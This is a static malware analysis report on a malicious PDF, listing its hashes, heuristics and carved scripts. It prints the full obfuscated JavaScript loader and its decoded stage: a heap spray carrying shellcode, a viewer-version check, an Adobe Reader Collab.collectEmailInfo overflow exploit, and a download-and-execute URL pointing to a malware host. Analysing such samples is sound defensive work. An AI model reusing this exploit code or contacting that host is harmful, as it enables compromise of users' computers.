Malicious PDF — malware analysis report

Static analysis result for SHA-256 8ff614b28e70d138…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2013-04-26
MD5: 49adb1ad020b370f04323e55c4ec3767 SHA-1: e61824f825ec830e3d74a32bc7c78fff088f8559 SHA-256: 8ff614b28e70d13810771779221d115afe9b706828f977381c54e56958f568a1
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. A high-severity PDF_EVAL heuristic firing suggests the use of eval(), a common technique for obfuscating malicious JavaScript. The extracted artifact 'javascript_obj0013_001.js' likely contains this obfuscated code. The primary intent appears to be downloading and executing a second-stage payload, though the exact mechanism is obscured by the obfuscation. No specific malware family could be confidently identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function v50yggmslpws(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function TKjthGkZhhkpk(zXz3kcN9ZxFpmc){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(zXz3kcN9ZxFpmc)"+";"+"}");eval("function U3dYh3oqeMZb(D5TZ6JWkf){var JGoM0V="+"0,iYS2D=D5TZ6JWkf.l"+"en"+"gth,wfPEIy=10"+"2"+"4,rmm10LbX,X1PmKwWz1XY,Fm8kRXykVu='',Vg8S3izs=JGoM0V,lIBKE=JGoM0V,cEFshoeo=JGoM0V,WMWqs=Ar"+"ra"+"y(63,34,22,2,16,27,10,56,15,12,0 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/spl2/load.php?id=155&spl=4 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x36A 6323 bytes
SHA-256: 5d347343543821f1b39dd75acdae5e0d2e47ce29f232a1030231280a41ab6562
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function v50yggmslpws(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function TKjthGkZhhkpk(zXz3kcN9ZxFpmc){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(zXz3kcN9ZxFpmc)"+";"+"}");eval("function U3dYh3oqeMZb(D5TZ6JWkf){var JGoM0V="+"0,iYS2D=D5TZ6JWkf.l"+"en"+"gth,wfPEIy=10"+"2"+"4,rmm10LbX,X1PmKwWz1XY,Fm8kRXykVu='',Vg8S3izs=JGoM0V,lIBKE=JGoM0V,cEFshoeo=JGoM0V,WMWqs=Ar"+"ra"+"y(63,34,22,2,16,27,10,56,15,12,0,0,0,0,0,0,20,19,8,38,39,58,17,57,4,5,1,41,53,47,18,42,59,50,52,46,45,40,7,55,49,9,48,0,0,0,0,35,0,54,60,32,25,26,11,13,14,21,0,37,61,3,29,51,31,43,24,30,62,23,33,44,28,6,36);f"+"o"+"r(X1PmKwWz1XY=M"+"at"+"h.c"+"ei"+"l(iYS2D/"+"wfPEIy)"+";X1PmKwWz1XY>JGoM0V;X1PmKwWz1XY-"+"-){fo"+"r(rmm10LbX=Ma"+"th.m"+"in(iYS2D,wfPEIy);rmm10LbX>JGoM0V;rmm10LbX-"+"-,iYS2D-"+"-){cEFshoeo|"+"=(WMWqs[D5TZ6JWkf.cha"+"rCod"+"eAt(Vg8S3izs+"+"+)-48])<"+"<lIBKE;if(lIBKE){Fm8kRXykVu+"+"=TKjthGkZhhkpk"+"(115^cEFshoeo&"+"2"+"5"+"5);cEFshoeo>"+">="+"8;lIBKE-"+"="+"2;}el"+"se{lIBKE="+"6"+";}}"+"}return (Fm8kRXykVu);}var dA84cAmc3CcLOw=implode('',['AicHJ9','iyV','T433wvy','v','cmJmFFgAGR@nrJ','JAYAj','JBv','35','K','INAivJn','j','XJeZFVAgjj','jT','jH','HF@HswkH','2U','QgFHQNbbL@xRo8','s4z2AvZ@HwvyprX@5YvIO','xAHvwH8n','l','v','In4XJ5z','i48','XF80','7J','Fe','vcH2','UQgFHQNb','9I2hgkH2','UQgFHQNbczm','AY','vIOx','AHvwH8','AGR@Nrv6','W','HFBf','XAujr4Hj','x4jeR','JI5gRuxRo8s4Hu','JKINAIcIVr4jn9kH2UQgFHQNbcR@h9iIy','RJHV','UJVn9','i8jijVE','jX2egI3AicH','J9kY2jA','Vpzo@hgL4f9H','HmJX449HHBgiJ','NH','Z','@i4zVZ@','v4n4R','N','Z','9kA','Ad4V2jj','HN9c','I','5Ikiyx','H4VJziyxH4VJziyxH4','VJz','iy9@gaH_','iyj','H4yI_i','y@@','FZUziy','wR4XU','zi','ywR4mYziy','rA','gjJz','iyrA4VJziyrA9LB_','iyroNmd','ziy@Agaj_iy','@','AgL@','_','iyw','@9Hi_iyxAgVd','_iyrA','ga@_iy','@RFa@_iyrm4Q@_iyU@gIn','ziyx@4Ljz','iyU@gInz','iy@z','ga4z','i','yrAgmJziy','rAgaH','_iy','@RF','a@_iyH_NmJ','ziy','@z4f','Fziyr','_4','QBziy9HFmJziyrAg3Y','z','i','yrAga@_iy','B','_','9IiziyH_Na','H_i','y','4','HF','fF','ziy@zF','3Y','ziy9HFaBzi','yrAg3i_','iyr','Aga@','_iyB_9','Ii','ziyH_Na4','zi','y','j_9fFz','iyBR','4y','i','_iy9HF','Jn_iyr','Agmn','_iy','r','A','ga@_i','yB_9I','iziy','H_N','ajziy9R','4','fF','ziy9','@gJYzi','y9HFfi_iyrA','gj','I','_iyr','A','ga@_iy','B_','9IiziyH_NL@_i','yHzgfFziy','9z','96','iziy9','HFyFziyrA','gJKzi','y','rAga@_iyB_9Iiziy','BAg','LH_iyx','mF','Ii_iyUz','9J','J_iy@@F','3dziy','@','mFQB','_iyroNmi','ziyrAgar_iy','H_4','a@_iy','Uz9Iiziy','@RFZH_iy','rA9Q','B_iyr_gfd','zi','y@','RFX@zi','y@mF','XB_iy9H','FXUziyrAgInz','iyrA','ga@_iywH','FX@_iy@','_','FWUz','iy','U','@gZ9z','iy4RNm','Fzi','yrA','ga','@','_','i','y@@Fa@_iy@m4','QB_iy','Hz','9InziyH@gIJ_iy@','@FX@_i','yjAgQB','_iyB','R','4fFziyrAga@_i','yHA','g','a@_i','yB_9Inzi','yw','z','FLH','_iyHAFax_','i','yH_9','Inziy9HFL','4z','i','yrA','gfd_iyrAga@','_iyB_9a','j_','i','yHR','NZ@_','iy','Hm','4a@_','iyj_46YziyHRNf','Y_iyrA9Q@_iyw','z96','Fziyr','Aga@_iyUz9','3gz','iy@','RFZ','@','_iyrm4QB_iyr_gfd','ziy','@RF','X@','ziy@mFXB_i','yBAgmFziyr','A','ga@_','iywzFa','@_iyHmFawziyB_9','aj','_iyxm9ZH_iyHm9jnziy','BR4Xj_iyjAg6Y_iyHm9X@','_','i','yB_','9Inz','iy','w','zF','Lj','zi','yHAFaB_','iyH_9Inziy9HFL4zi','y','rAg','Z','j_iyr','Aga@_i','yr','Agfdziy','Uz9','3gziy@RFZ@_iyrmF','QB_iyr','o','gfdziy','@','R','FX@zi','y@mFXB_iy@A','gmFziy','rAga@_iyw','zF','a@_iy@RF3','g','ziy@AgQ','B_iyr_gf','d','z','iy@RFX@','ziy@mFX','B_iyr','AgmFziyrA','ga@_iyB','_ga@_iyHogXxziy9zgaj_iy','9zgaj','_iy9zgaj_iy9zg','aj_','i','y9','H4IJ_iyH_','FaH_iy@RF','Xj_','iy9Rgj','dziyHog3Tziy9@g3gziy@R','FXB_iy','@RFmJziyrmF6','Iziy','HA','4InziyH','_','Najz','iyU','H9Inziy@RFWj','ziy@_46I_','iyrm96FziyH_','N','3J','_iyU','zNInziyr','m9','Z@_iyxm93J_','iyBAFJizi','yx@4Q','r_iyHH9a','j_i','yxm9X','Uziyro43K','ziy','@AgyYz','iy','B','RgWrziyrm','F6','I_i','yHz4J','d','_iyrm9aHziyBAg','3n_iy','Bzgmnzi','yBz','4','WxziyUz9XB','ziyH_','FmY','_iy9RF','InziyH_FInziyr','m9ZH_iy','wz','N','jI','ziyrm','4Inziy@RFQxz','iy@m4','Xrziyj@','4','aj_','iyrA','9I','nz','iyrm9InziyH','_','4JY_iyHR','gXHziyrAga4ziyB','@9mFziy','BR','4','3YziyH_','93gziyBm4Xx_iyBo4QHziyr','AgQ','Bz','iy4RF','ITziy','4R4HnziyH@g','jY_iy@z4Ji','_i','y@@4','IIzi','y','jzNjY','z','i','yHzgjIziy','@','zg','IJziy','4H4','Ji_iy@H','9H','gziyH@gjI','ziy@@gIJ_iy@','RFI','Yziy4R4Jd_iy4R4ITziy@zNji','_','iyj','RgInziyj','zFjYzi','yH@Fjdziy4','R4','HJ','ziyjRg','IJ_iy9R4jn','@@evR@','IB','FjAiN','JjKA','9Wwj8','JKX','y','A','GR@mTZFm','g','R4mgHNAic','HJ9kI','xj','oYD','jm','gAGR','@i4zVZ@v4n4RNZRLV2','R','J','IVwX@d','g','i4B','gi','JNHZ@xRo8s4R@h','giYIjzh','Xxo3','bHzy59kuATkI','xjoYD','jmgrgR3j','Tz','2','BgiJNH','Z@N','rv6WHFBfX','o@h','gkJn','rJj4BXj2wi@2dcNm','KR42dcNmKR4','FKINA','Yv','IOxA','Hvw','H8AGR@','mjj4fjJFHIvV5YvIO','x','AHvwH8','p','gIVl','b','_','V','HKI','NAicHJ9kJDjo6V','g','R6p','9kAATkY','2jAVpzo','@s','gL4fxR4m','gR4mKIu','k@','j4EHogfZA','4ewJNAiJ','VJ9L2IBFjAGv','HfzZy','dwzAm','v','zVNw435zXN8','dZY','Z','wQ','F','mTQ','V','B','GvHfzZydwH2','rKL','@B9iyVT433wvyvc','mJmFFgU7','vHfz','Zy','dwzfAGR@Nrv6WHFBfXo@rgiIHGJ9iB@VHTH9Bg','k','mAG','Z@','ir4V4','xcyxRX','@','F@','N6NwNjp','b','JVmGX2eg','I','3A','icHJ9k','6','ZRFI_4_NFw','NyHH@JAG','R@N9','Z','jnic','y24c','IJ','@1IJj','c','yxRF','uV','Z','JB','VHcyn4X2evR@OjAVi93g6IX6d4','44I9kAAK39n@','XBR','U','@HqzJJJi4uJrX','jpB','JH2wIuMxmu@bi@FKINAi','cH','J9kyyYz','j','f9kAAL','vIH9k9JHcH6w','k6ZR','FI_','4_','NFwN','yHH@J','nJXyN','Hc9V','wL','4elk6','Z','RF','I_4_NFwNyH','H@JnJXyNHc','9V','wk','4elk6ZRF','I_4_NF','wNyHH@Jn','JXyNH','c9Vwi4eKINAKFIATL2erz4','3w','j6','mGQ@hGR@fgiiigL2','5KvF3','YZ3UBzfAGzAAYR@i','iL','@erz','43wj6JGQ@8gi4e','gLm89kyyYz','jfc14S9LAAYz2egL','m89L2erz43wj6mGQ@hGR@Hg','ii','ig','kyyYzjfc','14S9','LAAY','z','2','AlZ','mATkyyYz','jfcQ4S9LAAFz2egI3ALm4IZvh4w','k2BgiJ','NHZ@G4','NgVZA4','2xo@hgkJnrJj4BXj2wi@2dZ449','HH','2','dZ449','HHFKINAFZyeb','v','I5k','mYLxj8','JdXgnlvIn','4','XJ59L','A','A','nRF','6d@','4e','gihz','@o','J','bHzI','W9I2h','gihz@','o','J','bHzIWcR','@','Vw','v','y','jRIH','xbXV','N','HJBVZFj29kAAJ','mVpb','vHFRIHxbX','V2jXJa7vHebvhn@JV5vjjyHFyYgi@F','lkVj4FNAkm','YLxj8','JdXg','h','UINAGZ@h','9iHkz','1HqHZV','pZX4s','wk2BJ']);");eval(U3dYh3oqeMZb(dA84cAmc3CcLOw));}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x36A 2509 bytes
SHA-256: 0f83e772e15a7e76e8677f63764e181e5b55e52201bc6184832e8a8fa3514d7b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var j4xzqhiRKw0gF = new Array(); function ps3xc77bm(aeYDbR8O, oNLm7) { while (aeYDbR8O.length*2<oNLm7){aeYDbR8O += aeYDbR8O;} aeYDbR8O = aeYDbR8O.substring(0,oNLm7/2); return aeYDbR8O; } function N3voIc() { var UeCnlJ = 0x0c0c0c0c; var f7mCf1n78C = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u732F%u6C70%u2F32%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3531%u2635%u7073%u3D6C%u0034"); var Vv3IBDxO2ih = 0x400000; var eoCTTCG = f7mCf1n78C.length * 2; var oNLm7 = Vv3IBDxO2ih - (eoCTTCG+0x38); var aeYDbR8O = unescape("%u9090%u9090"); aeYDbR8O = ps3xc77bm(aeYDbR8O, oNLm7); var uTCX40Xl = (UeCnlJ - 0x400000)/Vv3IBDxO2ih; for (var maxzhj8=0;maxzhj8<uTCX40Xl;maxzhj8++) { j4xzqhiRKw0gF[maxzhj8] = aeYDbR8O + f7mCf1n78C; } } function bVZaXrllo0m() { var YCnfPG9bXjw2v = app.viewerVersion.toString(); YCnfPG9bXjw2v = YCnfPG9bXjw2v.replace(/\D/g,""); var i51qx = new Array(YCnfPG9bXjw2v.charAt(0),YCnfPG9bXjw2v.charAt(1),YCnfPG9bXjw2v.charAt(2)); if ((i51qx[0] == 8 && ((i51qx[1] == 1 && i51qx[2] < 2) || i51qx[1] < 1)) || (i51qx[0] == 7 && i51qx[1] < 1) || (i51qx[0] < 7)) { N3voIc(); var JWFtO2eD = unescape("%u0c0c%u0c0c"); while(JWFtO2eD.length < 44952) JWFtO2eD += JWFtO2eD; this.collabStore = Collab.collectEmailInfo({subj: "",msg: JWFtO2eD}); } } bVZaXrllo0m();

Open this report in the interactive analyzer, or submit your own file for analysis.